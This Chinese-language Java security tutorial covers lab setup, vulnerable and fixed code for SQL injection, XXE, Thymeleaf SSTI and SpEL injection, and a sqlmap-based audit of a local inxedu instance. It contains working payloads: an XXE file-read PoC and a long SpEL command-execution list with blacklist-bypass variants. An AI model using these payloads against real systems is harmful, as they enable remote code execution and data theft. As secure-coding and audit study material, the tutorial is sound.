目录
靶场搭建
JavaSec
编辑编辑
Hello-Java-Sec(可看到代码对比)
SQL注入-JDBC(Java语言连接数据库)
1、采用Statement方法拼接SQL语句
2.PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。
3、JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入
MyBatis-(是一个开源的Java持久层框架,它提供了一个简单易用的接口,让开发者能够更轻松地操作关系型数据库。)
1、order by注入:由于使用#{}会将对象转成字符串,形成order by “user” desc造成错误,因此很多研发会采用${}来解决,从而造成注入.
2、like 注入:模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%${q}%'从而造成注入.
3、in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入.
代码审计案例:inxedu后台MyBatis注入
Java安全-XXE注入-Reader&Builder
漏洞代码 - XMLReader
漏洞代码 - DocumentBuilder
漏洞代码 - SAXReader
漏洞代码 - SAXBuilder
漏洞代码 - Unmarshaller
Java安全-SSTI模版-Thymeleaf&URL
漏洞代码 - thymeleaf模版注入
安全代码 - 白名单
Java安全-SPEL表达式-Spring框架
SpEL 定界符 #{}
类类型表达式 T (Type)
SpEL 用法
Expression用法
SpEL注入漏洞原理
SpEL-POC &Bypass
漏洞代码
安全代码
漏洞代码 - 黑名单绕过
靶场搭建
JavaSec
GitHub - bewhale/JavaSec: Java安全 学习记录
注:如果数据库的账号/密码为:root/123456 可以直接下载Releases下的jar包,导入数据库文件就可以运行了。如果需要修改数据库账号密码则需要下载源文件修改,然后重新打包一下
下载好压缩包解压,使用IDEA打开pom.xml导入项目
修改自己的账户密码和所连接的数据库名字,位置:src/main/resources/application.yml
新建数据库 javasec
导入 javasec.sql 文件
刷新后可以看到两个数据表
完成后可以直接打包或部署,由于我没有配置仓库所以我直接打包本地执行的
需要使用java1.8的jdk打包,否则可能遇到找不到BASE64Decoder
的报错。在Java 8及更高版本中,BASE64Decoder
类已经被弃用并被移到了java.util
包之外的java.util.Base64
类中。从Java 9开始,BASE64Decoder
和 BASE64Encoder
都被彻底移除。
打包完成后会生成一个target隐藏文件夹,生成的jar包就在里面
复制到合适的位置使用1.8的jdk执行
访问8000端口,账户密码admin/admin
Hello-Java-Sec(可看到代码对比)
该项目部署和上面差不多,修改数据库账号密码等待重新打包,同样是使用jdk1.8,这个项目不是使用的是properties配置文件,和yml差不多,格式不一样
新建 test数据库,导数数据
打开8888端口,账号密码也是admin/admin
SQL注入-JDBC(Java语言连接数据库)
1、采用Statement方法拼接SQL语句
漏洞代码 - 语句拼接(Statement)
// 采用Statement方法拼接SQL语句,导致注入产生public String vul1(String id) {Class.forName("com.mysql.cj.jdbc.Driver");Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);Statement stmt = conn.createStatement();// 拼接语句产生SQL注入String sql = "select * from users where id = '" + id + "'";ResultSet rs = stmt.executeQuery(sql);...
}
安全代码 - 过滤方法
// 采用黑名单过滤危险字符,同时也容易误伤(次方案)public static boolean checkSql(String content) {String[] black_list = {"'", ";", "--", "+", ",", "%", "=", ">", "*", "(", ")", "and", "or", "exec", "insert", "select", "delete", "update", "count", "drop", "chr", "mid", "master", "truncate", "char", "declare"};for (String s : black_list) {if (content.toLowerCase().contains(s)) {return true;}}return false;
}
2.PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。
漏洞代码 - 语句拼接(PrepareStatement)
// PrepareStatement会对SQL语句进行预编译,但如果直接采取拼接的方式构造SQL,此时进行预编译也无用。public String vul2(String id) {Class.forName("com.mysql.cj.jdbc.Driver");Connection conn = DriverManager.getConnection(db_url, db_user, db_pass);String sql = "select * from users where id = " + id;PreparedStatement st = conn.prepareStatement(sql);ResultSet rs = st.executeQuery();
}
安全代码 - 预编译
// 正确的使用PrepareStatement可以有效避免SQL注入,使用?作为占位符,进行参数化查询public String safe1(String id) {String sql = "select * from users where id = ?";PreparedStatement st = conn.prepareStatement(sql);st.setString(1, id);ResultSet rs = st.executeQuery();
}
3、JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入
漏洞代码 - JdbcTemplate
// JDBCTemplate是Spring对JDBC的封装,如果使用拼接语句便会产生注入public Map<String, Object> vul3(String id) {DriverManagerDataSource dataSource = new DriverManagerDataSource();...JdbcTemplate jdbctemplate = new JdbcTemplate(dataSource);String sql_vul = "select * from users where id = " + id;// 安全语句// String sql_safe = "select * from users where id = ?";return jdbctemplate.queryForMap(sql_vul);
}
安全代码 - ESAPI安全框架
// ESAPI 是一个免费、开源的、网页应用程序安全控件库,它使程序员能够更容易写出更低风险的程序
// 官网:https://owasp.org/www-project-enterprise-security-api/public String safe3(String id) {Codec<Character> oracleCodec = new OracleCodec();Statement stmt = conn.createStatement();String sql = "select * from users where id = '" + ESAPI.encoder().encodeForSQL(oracleCodec, id) + "'";ResultSet rs = stmt.executeQuery(sql);
}
安全写法: SQL语句占位符(?)
+ PrepareStatement预编译
MyBatis-(是一个开源的Java持久层框架,它提供了一个简单易用的接口,让开发者能够更轻松地操作关系型数据库。)
MyBatis框架底层已经实现了对SQL注入的防御,但存在使用不当的情况下,仍然存在SQL注入的风险。
MyBatis支持两种参数符号,一种是#
,另一种是$
,#使用预编译,$
使用拼接SQL。(造成注入原因也是因为使用了$
进行拼接)
1、order by注入:由于使用#{}会将对象转成字符串,形成order by “user” desc造成错误,因此很多研发会采用${}来解决,从而造成注入.
2、like 注入:模糊搜索时,直接使用’%#{q}%’ 会报错,部分研发图方便直接改成’%${q}%'从而造成注入.
3、in注入:in之后多个id查询时使用 # 同样会报错,从而造成注入.
白盒审计注意$
符号是不是在order by、like、in
里面,如果#就不用看了,mybatis底层已经做过sql注入的防御
代码审计案例:inxedu后台MyBatis注入
下载项目,执行sql文件,关于这个报错是时间格式问题,不用深究,改成当前时间就行,有好几个地方,搜索'0000-00-00 00:00:00'改成CURRENT_TIMESTAMP
使用idea打开pom.xml文件,加载项目,修改配置文件Finxedu\inxedu\demo_inxedu_open\src\main\resources\project.properties
修改jdk版本
编译项目clean-》install
项目运行
Run-->Edit Configurations.
选择内置tomcat,然后run
前台http://127.0.0.1:82
测试账号:demo@inxedu.com 111111
后台 http://127.0.0.1:82/admin
测试账号:admin 111111
审计过程:
从pom.xml配置文件和扩展库都可以看到引入了mybatis
根据上面学习,我们全局搜索${ ,而mybatis的sql语句会出现在xml或者java文件中
找到sql语句使用$符拼接,并看到IN关键字,可能存在注入
找到控制器调用了该 sql,得到访问地址和参数
/kpoint/deletekpoint/{kpointIds}
网上看是admin下的功能
所以网完整地址127.0.0.1:82/admin/kpoint/deletekpoint/{kpointIds}
登录后台,课程管理的章节管理中找到完整数据包
访问删除获取数据包,跑sqlmap
可能因为传参是数组,有点限制没发下一步,换一个测
再网上看,url拼接起来就是/admin/article/delete
是文章管理的删除功能
同样是获取数据库用sqlmap跑
Java安全-XXE注入-Reader&Builder
审计的函数
1. XMLReader
2. SAXReader
3. DocumentBuilder
4. XMLStreamReader
5. SAXBuilder
6. SAXParser
7. SAXSource
8. TransformerFactory
9. SAXTransformerFactory
10. SchemaFactory
11. Unmarshaller
12. XPathExpression黑盒查看数据包哪里使用的是xml传参的,通过dnslog测试是否可以带外连接
漏洞代码 - XMLReader
public String XMLReader(@RequestBody String content) {try {XMLReader xmlReader = XMLReaderFactory.createXMLReader();// 修复:禁用外部实体// xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);xmlReader.parse(new InputSource(new StringReader(content)));return "XMLReader XXE";} catch (Exception e) {return e.toString();}
}
漏洞代码 - DocumentBuilder
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 修复: 禁用外部实体
// factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
漏洞代码 - SAXReader
SAXReader sax = new SAXReader();
// 修复:禁用外部实体
// sax.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.read(new InputSource(new StringReader(content)));
漏洞代码 - SAXBuilder
@RequestMapping(value = "/SAXBuilder")
public String SAXBuilder(@RequestBody String content) {try {SAXBuilder saxbuilder = new SAXBuilder();// 修复: saxbuilder.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);saxbuilder.build(new InputSource(new StringReader(content)));return "SAXBuilder XXE";} catch (Exception e) {return e.toString();}
}
漏洞代码 - Unmarshaller
/*** PoC* Content-Type: application/xml* <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE student[<!ENTITY out SYSTEM "file:///etc/hosts">]><student><name>&out;</name></student>*/
public String Unmarshaller(@RequestBody String content) {try {JAXBContext context = JAXBContext.newInstance(Student.class);Unmarshaller unmarshaller = context.createUnmarshaller();XMLInputFactory xif = XMLInputFactory.newFactory();// 修复: 禁用外部实体// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");// xif.setProperty(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");XMLStreamReader xsr = xif.createXMLStreamReader(new StringReader(content));Object o = unmarshaller.unmarshal(xsr);return o.toString();} catch (Exception e) {e.printStackTrace();
}
Java安全-SSTI模版-Thymeleaf&URL
漏洞代码 - thymeleaf模版注入
@GetMapping("/thymeleaf/vul")public String thymeleafVul(@RequestParam String lang) {// 模版文件参数可控return "lang/" + lang;}
return返回到哪个页面,在 SpringBoot复习-CSDN博客有讲解,通过可控参数和反射机制执行命令
安全代码 - 白名单
public String thymeleafSafe(@RequestParam String lang) {List<String> white_list = new ArrayList<String>();white_list.add("en");white_list.add("zh");if (white_list.contains(lang)){return "lang/" + lang;} else{return "commons/401";}}
参考:1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园
Java安全-SPEL表达式-Spring框架
spel机制与反射机制很像,其底层也是通过反射机制完成的,他可以方便的调用对象的属性、方法等
SpEL 定界符 #{}
SpEL 使用 #{ } 作为定界符 ,所有在打括号中的字符都被认为表达式,在其中可以使用 SpEL 运算符 变量 引用 以及属性和方法等。
类类型表达式 T (Type)
在SpEL表达式中,使用 T(Type) 运算符会调用类的 作用域和方法,换句话说,就是可以通过该类类型表达式 来操作类。
使用 T(Type) 来表示 java.lang.Class 实例,Type 必须是类全限定名,但 "java.lang" 包除外, 因为 SpEL 已经内置了该包,即该包下的类可以不指定具体的包名; 使用类类型表达式还可以进行访问类静态方法 和 类静态字段。
在XML 配置文件中的使用实例,要调用java.lang.Math 来获取0~1 的随机数:
<property name="random" value="#{T(java.lang.Math).random()}"/>
SpEL 用法
SpEL 的用法有三种形式,一种是在注解 @Value 中; 一种是XML 配置;最后一种是在代码块中使用Expression
前面的就是以XML配置为例 对SpEL 表达式的用法进行的说明,而注解@Value 的用法例子如下:
SpringBoot复习-CSDN博客也提到过
public class EmailSender {@Value("${spring.mail.username}")private String mailUsername;@Value("#{ systemProperties['user.region'] }") private String defaultLocale;//...
}
Expression用法
由于后续分析各种 Spring VCVE漏洞都是基于 Expression 形式的 SPEL 表达式注入,因此这里再单独说明SpEL 表达式 Expression形式用法
步骤
SpEL 在求表达式值时一般分为四步,其中第三步可选:首先构造一个解析器,其次解析器解析字符串表达式,在此构造上下文,最后根据上下文得到表达式运算后的值。
ExpressionParser parser = new SpelExpressionParser(); Expression expression = parser.parseExpression("('Hello' + ' Mi1k7ea').concat(#end)"); EvaluationContext context = new StandardEvaluationContext(); context.setVariable("end", "!"); System.out.println(expression.getValue(context));
- 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
- 解析表达式:使用 ExpressionParser 的 parseExpression 来解析相应的表达式为 Expression 对象;
- 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
- 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;ExpressionParser 接口:表示解析器,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpressionParser 类,使用 parseExpression 方法将字符串表达式转换为 Expression 对象,对于 ParserContext 接口用于定义字符串表达式是不是模板,及模板开始与结束字符;EvaluationContext 接口:表示上下文环境,默认实现是 org.springframework.expression.spel.support 包中的 StandardEvaluationContext 类,使用 setRootObject 方法来设置根对象,使用 setVariable 方法来注册自定义变量,使用 registerFunction 来注册自定义函数等等。
Expression 接口:表示表达式对象,默认实现是 org.springframework.expression.spel.standard 包中的 SpelExpression,提供 getValue 方法用于获取表达式值,提供 setValue 方法用于设置对象值。
和前面XML 配置的用法区别在于程序会将这里传入 parseExpression() 函数的字符串参数 当SpEL 表达式来解析,而无需通过 #{ } 符号来注明:
public class ExpressionTest {public static void main(String[] args) {// 字符串字面量//String spel = "123+456";// 算数运算//String spel = "123+456";// 操作类弹计算器,当然java.lang包下的类是可以省略包名的String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";// String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";ExpressionParser parser = new SpelExpressionParser(); //spel解析器Expression expression = parser.parseExpression(spel); //解析表达式System.out.println(expression.getValue()); //取值}
}
SpEL注入漏洞原理
SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext:
- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
当没有提供自定义的 EvaluationContext
时,SpelExpressionParser
会使用一个默认的上下文,这个上下文通常具备 StandardEvaluationContext
的功能。
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用;而StandardEvaluationContext是支持全部SpEL语法的。
由前面知道,SpEL表达式是可以操作类及其方法的,可以通过类类型表达式T(Type)来调用任意类方法。这是因为在不指定EvaluationContext的情况下默认采用的是StandardEvaluationContext,而它包含了SpEL的所有功能,在允许用户控制输入的情况下可以成功造成任意命令执行。
SpEL-POC &Bypass
// PoC原型// Runtime
T(java.lang.Runtime).getRuntime().exec("calc")
T(Runtime).getRuntime().exec("calc")// ProcessBuilder
new java.lang.ProcessBuilder({'calc'}).start()
new ProcessBuilder({'calc'}).start()******************************************************************************
// Bypass技巧// 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))// JavaScript引擎通用PoC
T(javax.script.ScriptEngineManager).newInstance().getEngineByName("nashorn").eval("s=[3];s[0]='cmd';s[1]='/C';s[2]='calc';java.la"+"ng.Run"+"time.getRu"+"ntime().ex"+"ec(s);")T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval("xxx"),)// JavaScript引擎+反射调用
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})),)// JavaScript引擎+URL编码
// 其中URL编码内容为:
// 不加最后的getInputStream()也行,因为弹计算器不需要回显
T(org.springframework.util.StreamUtils).copy(T(javax.script.ScriptEngineManager).newInstance().getEngineByName("JavaScript").eval(T(java.net.URLDecoder).decode("%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29")),)// 黑名单过滤".getClass(",可利用数组的方式绕过,还未测试成功
''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'calc')// JDK9新增的shell,还未测试
T(SomeWhitelistedClassNotPartOfJDK).ClassLoader.loadClass("jdk.jshell.JShell",true).Methods[6].invoke(null,{}).eval('whatever java code in one statement').toString()
漏洞代码
// PoC: T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)public String vul(String ex) {ExpressionParser parser = new SpelExpressionParser();// StandardEvaluationContext权限过大,可以执行任意代码,默认使用EvaluationContext evaluationContext = new StandardEvaluationContext();Expression exp = parser.parseExpression(ex);String result = exp.getValue(evaluationContext).toString();return result;
}
安全代码
// SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集。它不包括 Java 类型引用,构造函数和 bean 引用public String spelSafe(String ex) {ExpressionParser parser = new SpelExpressionParser();EvaluationContext simpleContext = SimpleEvaluationContext.forReadOnlyDataBinding().build();Expression exp = parser.parseExpression(ex);String result = exp.getValue(simpleContext).toString();return result;
}
漏洞代码 - 黑名单绕过
// 黑名单正则,尝试绕过执行恶意代码public String vul2(String ex) {String[] black_list = {"java.+lang", "Runtime", "exec.*\\("};for (String s : black_list) {Matcher matcher = Pattern.compile(s).matcher(ex);if (matcher.find()) {return "黑名单过滤";}}ExpressionParser parser = new SpelExpressionParser();Expression exp = parser.parseExpression(ex);String result = exp.getValue().toString();return result;
}
绕过正则匹配关键字poc:T%28String%29.getClass().forName(%22java.l%22%2B%22ang.Ru%22%2B%22ntime%22).getMethod(%22ex%22%2B%22ec%22%2CT(String%5B%5D)).invoke(T(String).getClass().forName(%22java.l%22%2B%22ang.Ru%22%2B%22ntime%22).getMethod(%22getRu%22%2B%22ntime%22).invoke(T(String).getClass().forName(%22java.l%22%2B%22ang.Ru%22%2B%22ntime%22))%2Cnew%20String%5B%5D%7B%22cmd%22%2C%22%2FC%22%2C%22calc%22%7D)%0A
基础知识参考:浅入深SpEL表达式注入漏洞总结_spring spel表达式注入-CSDN博客
绕过参考:SpEL表达式注入漏洞学习和回显poc研究 - bitterz - 博客园